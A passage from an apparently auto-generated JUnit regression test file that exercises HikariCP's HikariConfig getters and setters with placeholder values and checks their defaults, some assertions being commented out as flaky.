org.junit.Assert.assertEquals("'" + str15 + "' != '" + "HikariPool-752" + "'", str15, "HikariPool-752");
org.junit.Assert.assertEquals("'" + str16 + "' != '" + "HikariPool-752" + "'", str16, "HikariPool-752");
org.junit.Assert.assertTrue("'" + long19 + "' != '" + 0L + "'", long19 == 0L);
}
@Test
public void test19281() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19281");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.connectionInitSql = "hi!";
hikariConfig1.maxPoolSize = (short) -1;
java.lang.String str8 = hikariConfig1.getPoolName();
long long9 = hikariConfig1.getConnectionTimeout();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer10 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer10;
hikariConfig1.setMinimumPoolSize(1);
hikariConfig1.transactionIsolationName = "HikariPool-44787";
// flaky: org.junit.Assert.assertEquals("'" + str8 + "' != '" + "HikariPool-51033" + "'", str8, "HikariPool-51033");
// flaky: org.junit.Assert.assertTrue("'" + long9 + "' != '" + 10L + "'", long9 == 10L);
}
@Test
public void test19282() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19282");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.transactionIsolationName = "";
int int7 = hikariConfig1.getMinimumPoolSize();
hikariConfig1.setAcquireRetries((int) (byte) 1);
boolean boolean10 = hikariConfig1.isInitializationFailFast;
long long11 = hikariConfig1.connectionTimeout;
hikariConfig1.transactionIsolationName = "HikariPool-36";
int int14 = hikariConfig1.getTransactionIsolation();
int int15 = hikariConfig1.getAcquireIncrement();
java.util.Properties properties17 = null;
com.zaxxer.hikari.HikariConfig hikariConfig18 = new com.zaxxer.hikari.HikariConfig(properties17);
int int19 = hikariConfig18.getTransactionIsolation();
hikariConfig18.setRegisterMbeans(false);
java.lang.String str22 = hikariConfig18.transactionIsolationName;
int int23 = hikariConfig18.getMaximumPoolSize();
long long24 = hikariConfig18.getIdleTimeout();
int int25 = hikariConfig18.getMaximumPoolSize();
long long26 = hikariConfig18.maxLifetime;
hikariConfig18.isRegisterMbeans = false;
hikariConfig18.minPoolSize = 52;
hikariConfig1.addDataSourceProperty("HikariPool-5227", (java.lang.Object) 52);
int int32 = hikariConfig1.getAcquireIncrement();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 10 + "'", int7 == 10);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 10L + "'", long11 == 10L);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + (-1) + "'", int14 == (-1));
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 0 + "'", int15 == 0);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + (-1) + "'", int19 == (-1));
org.junit.Assert.assertNull(str22);
org.junit.Assert.assertTrue("'" + int23 + "' != '" + 60 + "'", int23 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long24 + "' != '" + 60L + "'", long24 == 60L);
org.junit.Assert.assertTrue("'" + int25 + "' != '" + 60 + "'", int25 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long26 + "' != '" + 35L + "'", long26 == 35L);
org.junit.Assert.assertTrue("'" + int32 + "' != '" + 0 + "'", int32 == 0);
}
@Test
public void test19283() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19283");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.setDataSourceClassName("HikariPool-222");
hikariConfig1.isAutoCommit = false;
hikariConfig1.transactionIsolationName = "HikariPool-402";
boolean boolean16 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setInitializationFailFast(false);
boolean boolean19 = hikariConfig1.isAutoCommit();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + false + "'", boolean16 == false);
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + false + "'", boolean19 == false);
}
@Test
public void test19284() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19284");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
java.lang.String str6 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.setConnectionTestQuery("hi!");
java.lang.String str9 = hikariConfig1.getCatalog();
int int10 = hikariConfig1.acquireRetries;
hikariConfig1.setAutoCommit(true);
javax.sql.DataSource dataSource13 = null;
hikariConfig1.setDataSource(dataSource13);
javax.sql.DataSource dataSource15 = hikariConfig1.getDataSource();
int int16 = hikariConfig1.getMaximumPoolSize();
boolean boolean17 = hikariConfig1.isAutoCommit;
long long18 = hikariConfig1.getConnectionTimeout();
java.util.Properties properties20 = null;
com.zaxxer.hikari.HikariConfig hikariConfig21 = new com.zaxxer.hikari.HikariConfig(properties20);
int int22 = hikariConfig21.getTransactionIsolation();
hikariConfig21.setRegisterMbeans(false);
java.lang.String str25 = hikariConfig21.transactionIsolationName;
int int26 = hikariConfig21.transactionIsolation;
java.lang.String str27 = hikariConfig21.getConnectionInitSql();
int int28 = hikariConfig21.getMaximumPoolSize();
hikariConfig21.setJdbc4ConnectionTest(false);
java.util.Properties properties32 = null;
com.zaxxer.hikari.HikariConfig hikariConfig33 = new com.zaxxer.hikari.HikariConfig(properties32);
int int34 = hikariConfig33.getTransactionIsolation();
hikariConfig33.setRegisterMbeans(false);
java.lang.String str37 = hikariConfig33.transactionIsolationName;
long long38 = hikariConfig33.getIdleTimeout();
java.lang.String str39 = hikariConfig33.getCatalog();
java.util.Properties properties40 = hikariConfig33.getDataSourceProperties();
hikariConfig33.setUseInstrumentation(false);
hikariConfig21.addDataSourceProperty("HikariPool-222", (java.lang.Object) hikariConfig33);
hikariConfig21.poolName = "HikariPool-104";
java.util.Properties properties46 = null;
com.zaxxer.hikari.HikariConfig hikariConfig47 = new com.zaxxer.hikari.HikariConfig(properties46);
hikariConfig47.leakDetectionThreshold = 100;
boolean boolean50 = hikariConfig47.isJdbc4ConnectionTest();
java.util.Properties properties51 = null;
com.zaxxer.hikari.HikariConfig hikariConfig52 = new com.zaxxer.hikari.HikariConfig(properties51);
int int53 = hikariConfig52.getTransactionIsolation();
hikariConfig52.setRegisterMbeans(false);
java.lang.String str56 = hikariConfig52.transactionIsolationName;
long long57 = hikariConfig52.getIdleTimeout();
java.lang.String str58 = hikariConfig52.getCatalog();
java.lang.String str59 = hikariConfig52.getConnectionTestQuery();
java.util.Properties properties60 = null;
com.zaxxer.hikari.HikariConfig hikariConfig61 = new com.zaxxer.hikari.HikariConfig(properties60);
hikariConfig61.dataSourceClassName = "";
java.util.Properties properties64 = hikariConfig61.dataSourceProperties;
hikariConfig52.setDataSourceProperties(properties64);
hikariConfig47.dataSourceProperties = properties64;
java.util.Properties properties67 = hikariConfig47.dataSourceProperties;
hikariConfig21.dataSourceProperties = properties67;
java.lang.String str69 = hikariConfig21.getConnectionCustomizerClassName();
boolean boolean70 = hikariConfig21.isInitializationFailFast();
long long71 = hikariConfig21.maxLifetime;
hikariConfig1.addDataSourceProperty("HikariPool-8743", (java.lang.Object) hikariConfig21);
hikariConfig21.poolName = "HikariPool-181";
java.util.Properties properties75 = hikariConfig21.dataSourceProperties;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 3 + "'", int10 == 3);
org.junit.Assert.assertNull(dataSource15);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 60 + "'", int16 == 60);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 10L + "'", long18 == 10L);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + (-1) + "'", int22 == (-1));
org.junit.Assert.assertNull(str25);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + (-1) + "'", int26 == (-1));
org.junit.Assert.assertNull(str27);
org.junit.Assert.assertTrue("'" + int28 + "' != '" + 60 + "'", int28 == 60);
org.junit.Assert.assertTrue("'" + int34 + "' != '" + (-1) + "'", int34 == (-1));
org.junit.Assert.assertNull(str37);
// flaky: org.junit.Assert.assertTrue("'" + long38 + "' != '" + 60L + "'", long38 == 60L);
org.junit.Assert.assertNull(str39);
org.junit.Assert.assertNotNull(properties40);
org.junit.Assert.assertTrue("'" + boolean50 + "' != '" + true + "'", boolean50 == true);
org.junit.Assert.assertTrue("'" + int53 + "' != '" + (-1) + "'", int53 == (-1));
org.junit.Assert.assertNull(str56);
// flaky: org.junit.Assert.assertTrue("'" + long57 + "' != '" + 60L + "'", long57 == 60L);
org.junit.Assert.assertNull(str58);
org.junit.Assert.assertNull(str59);
org.junit.Assert.assertNotNull(properties64);
org.junit.Assert.assertNotNull(properties67);
org.junit.Assert.assertNull(str69);
org.junit.Assert.assertTrue("'" + boolean70 + "' != '" + false + "'", boolean70 == false);
// flaky: org.junit.Assert.assertTrue("'" + long71 + "' != '" + 35L + "'", long71 == 35L);
org.junit.Assert.assertNotNull(properties75);
}
@Test
public void test19285() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19285");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
hikariConfig1.minPoolSize = (short) 0;
javax.sql.DataSource dataSource6 = hikariConfig1.getDataSource();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer7 = hikariConfig1.connectionCustomizer;
hikariConfig1.setPoolName("HikariPool-104");
boolean boolean10 = hikariConfig1.isRegisterMbeans;
long long11 = hikariConfig1.getIdleTimeout();
org.junit.Assert.assertNull(dataSource6);
org.junit.Assert.assertNull(iConnectionCustomizer7);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 60L + "'", long11 == 60L);
}
@Test
public void test19286() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19286");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
int int8 = hikariConfig1.transactionIsolation;
hikariConfig1.setAutoCommit(false);
int int11 = hikariConfig1.getAcquireRetries();
hikariConfig1.setConnectionInitSql("HikariPool-84");
long long14 = hikariConfig1.getIdleTimeout();
hikariConfig1.acquireRetries = '4';
long long17 = hikariConfig1.idleTimeout;
java.util.Properties properties18 = null;
com.zaxxer.hikari.HikariConfig hikariConfig19 = new com.zaxxer.hikari.HikariConfig(properties18);
hikariConfig19.leakDetectionThreshold = 100;
boolean boolean22 = hikariConfig19.isJdbc4ConnectionTest();
java.util.Properties properties23 = null;
com.zaxxer.hikari.HikariConfig hikariConfig24 = new com.zaxxer.hikari.HikariConfig(properties23);
int int25 = hikariConfig24.getTransactionIsolation();
hikariConfig24.setRegisterMbeans(false);
java.lang.String str28 = hikariConfig24.transactionIsolationName;
long long29 = hikariConfig24.getIdleTimeout();
java.lang.String str30 = hikariConfig24.getCatalog();
java.lang.String str31 = hikariConfig24.getConnectionTestQuery();
java.util.Properties properties32 = null;
com.zaxxer.hikari.HikariConfig hikariConfig33 = new com.zaxxer.hikari.HikariConfig(properties32);
hikariConfig33.dataSourceClassName = "";
java.util.Properties properties36 = hikariConfig33.dataSourceProperties;
hikariConfig24.setDataSourceProperties(properties36);
hikariConfig19.dataSourceProperties = properties36;
hikariConfig19.setInitializationFailFast(false);
java.lang.String str41 = hikariConfig19.getConnectionTestQuery();
long long42 = hikariConfig19.getConnectionTimeout();
java.lang.String str43 = hikariConfig19.getDataSourceClassName();
int int44 = hikariConfig19.getMinimumPoolSize();
hikariConfig19.connectionInitSql = "HikariPool-863";
java.util.Properties properties47 = hikariConfig19.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties47;
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 3 + "'", int11 == 3);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 60L + "'", long14 == 60L);
// flaky: org.junit.Assert.assertTrue("'" + long17 + "' != '" + 60L + "'", long17 == 60L);
org.junit.Assert.assertTrue("'" + boolean22 + "' != '" + true + "'", boolean22 == true);
org.junit.Assert.assertTrue("'" + int25 + "' != '" + (-1) + "'", int25 == (-1));
org.junit.Assert.assertNull(str28);
// flaky: org.junit.Assert.assertTrue("'" + long29 + "' != '" + 60L + "'", long29 == 60L);
org.junit.Assert.assertNull(str30);
org.junit.Assert.assertNull(str31);
org.junit.Assert.assertNotNull(properties36);
org.junit.Assert.assertNull(str41);
// flaky: org.junit.Assert.assertTrue("'" + long42 + "' != '" + 10L + "'", long42 == 10L);
org.junit.Assert.assertNull(str43);
org.junit.Assert.assertTrue("'" + int44 + "' != '" + 10 + "'", int44 == 10);
org.junit.Assert.assertNotNull(properties47);
}
@Test
public void test19287() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19287");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
boolean boolean10 = hikariConfig1.isInitializationFailFast();
long long11 = hikariConfig1.maxLifetime;
hikariConfig1.minPoolSize = (byte) -1;
boolean boolean14 = hikariConfig1.isJdbc4connectionTest;
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
int int17 = hikariConfig16.getTransactionIsolation();
hikariConfig16.setRegisterMbeans(false);
java.lang.String str20 = hikariConfig16.transactionIsolationName;
long long21 = hikariConfig16.getIdleTimeout();
java.lang.String str22 = hikariConfig16.getCatalog();
java.lang.String str23 = hikariConfig16.getConnectionTestQuery();
java.util.Properties properties24 = null;
com.zaxxer.hikari.HikariConfig hikariConfig25 = new com.zaxxer.hikari.HikariConfig(properties24);
hikariConfig25.dataSourceClassName = "";
java.util.Properties properties28 = hikariConfig25.dataSourceProperties;
hikariConfig16.setDataSourceProperties(properties28);
hikariConfig1.setDataSourceProperties(properties28);
com.zaxxer.hikari.HikariConfig hikariConfig31 = new com.zaxxer.hikari.HikariConfig(properties28);
hikariConfig31.setMaxLifetime((long) ' ');
java.lang.String str34 = hikariConfig31.getDataSourceClassName();
hikariConfig31.transactionIsolation = '4';
javax.sql.DataSource dataSource37 = null;
hikariConfig31.setDataSource(dataSource37);
java.lang.String str39 = hikariConfig31.transactionIsolationName;
java.lang.String str40 = hikariConfig31.transactionIsolationName;
boolean boolean41 = hikariConfig31.isJdbc4ConnectionTest();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + true + "'", boolean10 == true);
org.junit.Assert.assertTrue("'" + long11 + "' != '" + (-1L) + "'", long11 == (-1L));
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + true + "'", boolean14 == true);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNull(str20);
// flaky: org.junit.Assert.assertTrue("'" + long21 + "' != '" + 60L + "'", long21 == 60L);
org.junit.Assert.assertNull(str22);
org.junit.Assert.assertNull(str23);
org.junit.Assert.assertNotNull(properties28);
org.junit.Assert.assertNull(str34);
org.junit.Assert.assertNull(str39);
org.junit.Assert.assertNull(str40);
org.junit.Assert.assertTrue("'" + boolean41 + "' != '" + true + "'", boolean41 == true);
}
@Test
public void test19288() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19288");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.setLeakDetectionThreshold((long) 60);
boolean boolean14 = hikariConfig1.isRegisterMbeans();
javax.sql.DataSource dataSource15 = hikariConfig1.dataSource;
java.util.Properties properties16 = null;
com.zaxxer.hikari.HikariConfig hikariConfig17 = new com.zaxxer.hikari.HikariConfig(properties16);
boolean boolean18 = hikariConfig17.isAutoCommit;
hikariConfig17.poolName = "hi!";
java.lang.String str21 = hikariConfig17.dataSourceClassName;
hikariConfig17.acquireRetries = (short) 10;
java.util.Properties properties24 = hikariConfig17.dataSourceProperties;
com.zaxxer.hikari.HikariConfig hikariConfig25 = new com.zaxxer.hikari.HikariConfig(properties24);
com.zaxxer.hikari.HikariConfig hikariConfig26 = new com.zaxxer.hikari.HikariConfig(properties24);
hikariConfig1.dataSourceProperties = properties24;
hikariConfig1.setJdbc4ConnectionTest(false);
boolean boolean30 = hikariConfig1.isJdbc4ConnectionTest();
hikariConfig1.setAutoCommit(true);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + false + "'", boolean14 == false);
org.junit.Assert.assertNull(dataSource15);
org.junit.Assert.assertTrue("'" + boolean18 + "' != '" + true + "'", boolean18 == true);
org.junit.Assert.assertNull(str21);
org.junit.Assert.assertNotNull(properties24);
org.junit.Assert.assertTrue("'" + boolean30 + "' != '" + false + "'", boolean30 == false);
}
@Test
public void test19289() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19289");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.setConnectionInitSql("HikariPool-780");
hikariConfig1.setUseInstrumentation(false);
long long12 = hikariConfig1.getLeakDetectionThreshold();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + long12 + "' != '" + 0L + "'", long12 == 0L);
}
@Test
public void test19290() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19290");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.connectionTestQuery = "HikariPool-104";
hikariConfig1.maxPoolSize = (short) 100;
java.lang.String str11 = hikariConfig1.getPoolName();
int int12 = hikariConfig1.getAcquireRetries();
long long13 = hikariConfig1.getIdleTimeout();
hikariConfig1.connectionInitSql = "HikariPool-1306";
boolean boolean16 = hikariConfig1.isAutoCommit();
hikariConfig1.connectionTimeout = 52L;
hikariConfig1.setCatalog("");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
// flaky: org.junit.Assert.assertEquals("'" + str11 + "' != '" + "HikariPool-51057" + "'", str11, "HikariPool-51057");
org.junit.Assert.assertTrue("'" + int12 + "' != '" + 3 + "'", int12 == 3);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 60L + "'", long13 == 60L);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + true + "'", boolean16 == true);
}
@Test
public void test19291() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19291");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.isRegisterMbeans = true;
hikariConfig1.minPoolSize = (short) 1;
boolean boolean11 = hikariConfig1.isAutoCommit;
java.lang.String str12 = hikariConfig1.getCatalog();
hikariConfig1.setConnectionInitSql("HikariPool-465");
hikariConfig1.poolName = "HikariPool-2585";
hikariConfig1.acquireRetries = (short) 0;
hikariConfig1.setAcquireRetries((int) (byte) 0);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean11 + "' != '" + true + "'", boolean11 == true);
org.junit.Assert.assertNull(str12);
}
@Test
public void test19292() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19292");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
int int8 = hikariConfig1.transactionIsolation;
hikariConfig1.setAutoCommit(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.setConnectionTestQuery("");
boolean boolean15 = hikariConfig1.isRegisterMbeans();
hikariConfig1.dataSourceClassName = "HikariPool-1107";
hikariConfig1.setInitializationFailFast(true);
boolean boolean20 = hikariConfig1.isJdbc4connectionTest;
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + false + "'", boolean15 == false);
org.junit.Assert.assertTrue("'" + boolean20 + "' != '" + true + "'", boolean20 == true);
}
@Test
public void test19293() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19293");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.isRegisterMbeans = true;
java.util.Properties properties10 = null;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
hikariConfig11.leakDetectionThreshold = 100;
hikariConfig11.setTransactionIsolation("hi!");
int int16 = hikariConfig11.getMaximumPoolSize();
hikariConfig1.addDataSourceProperty("HikariPool-249", (java.lang.Object) hikariConfig11);
int int18 = hikariConfig1.minPoolSize;
hikariConfig1.isInitializationFailFast = true;
int int21 = hikariConfig1.getTransactionIsolation();
boolean boolean22 = hikariConfig1.isAutoCommit();
hikariConfig1.leakDetectionThreshold = 87;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 60 + "'", int16 == 60);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 10 + "'", int18 == 10);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertTrue("'" + boolean22 + "' != '" + true + "'", boolean22 == true);
}
@Test
public void test19294() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19294");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
boolean boolean7 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setPoolName("HikariPool-290");
java.lang.String str10 = hikariConfig1.getConnectionCustomizerClassName();
java.util.Properties properties12 = null;
com.zaxxer.hikari.HikariConfig hikariConfig13 = new com.zaxxer.hikari.HikariConfig(properties12);
int int14 = hikariConfig13.getTransactionIsolation();
hikariConfig13.setRegisterMbeans(false);
java.lang.String str17 = hikariConfig13.transactionIsolationName;
int int18 = hikariConfig13.getMaximumPoolSize();
int int19 = hikariConfig13.transactionIsolation;
java.util.Properties properties20 = hikariConfig13.dataSourceProperties;
boolean boolean21 = hikariConfig13.isRegisterMbeans;
boolean boolean22 = hikariConfig13.isInitializationFailFast;
hikariConfig13.minPoolSize = 100;
hikariConfig13.setUseInstrumentation(true);
java.util.Properties properties27 = null;
com.zaxxer.hikari.HikariConfig hikariConfig28 = new com.zaxxer.hikari.HikariConfig(properties27);
hikariConfig28.leakDetectionThreshold = 100;
boolean boolean31 = hikariConfig28.isJdbc4ConnectionTest();
java.util.Properties properties32 = null;
com.zaxxer.hikari.HikariConfig hikariConfig33 = new com.zaxxer.hikari.HikariConfig(properties32);
int int34 = hikariConfig33.getTransactionIsolation();
hikariConfig33.setRegisterMbeans(false);
java.lang.String str37 = hikariConfig33.transactionIsolationName;
long long38 = hikariConfig33.getIdleTimeout();
java.lang.String str39 = hikariConfig33.getCatalog();
java.lang.String str40 = hikariConfig33.getConnectionTestQuery();
java.util.Properties properties41 = null;
com.zaxxer.hikari.HikariConfig hikariConfig42 = new com.zaxxer.hikari.HikariConfig(properties41);
hikariConfig42.dataSourceClassName = "";
java.util.Properties properties45 = hikariConfig42.dataSourceProperties;
hikariConfig33.setDataSourceProperties(properties45);
hikariConfig28.dataSourceProperties = properties45;
java.util.Properties properties48 = hikariConfig28.dataSourceProperties;
hikariConfig13.setDataSourceProperties(properties48);
hikariConfig1.addDataSourceProperty("HikariPool-5619", (java.lang.Object) hikariConfig13);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + boolean7 + "' != '" + true + "'", boolean7 == true);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + (-1) + "'", int14 == (-1));
org.junit.Assert.assertNull(str17);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 60 + "'", int18 == 60);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + (-1) + "'", int19 == (-1));
org.junit.Assert.assertNotNull(properties20);
org.junit.Assert.assertTrue("'" + boolean21 + "' != '" + false + "'", boolean21 == false);
org.junit.Assert.assertTrue("'" + boolean22 + "' != '" + false + "'", boolean22 == false);
org.junit.Assert.assertTrue("'" + boolean31 + "' != '" + true + "'", boolean31 == true);
org.junit.Assert.assertTrue("'" + int34 + "' != '" + (-1) + "'", int34 == (-1));
org.junit.Assert.assertNull(str37);
// flaky: org.junit.Assert.assertTrue("'" + long38 + "' != '" + 60L + "'", long38 == 60L);
org.junit.Assert.assertNull(str39);
org.junit.Assert.assertNull(str40);
org.junit.Assert.assertNotNull(properties45);
org.junit.Assert.assertNotNull(properties48);
}
@Test
public void test19295() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19295");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isJdbc4connectionTest = true;
hikariConfig1.minPoolSize = (short) 0;
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setAcquireRetryDelay((long) 1);
// flaky: org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
}
@Test
public void test19296() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19296");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
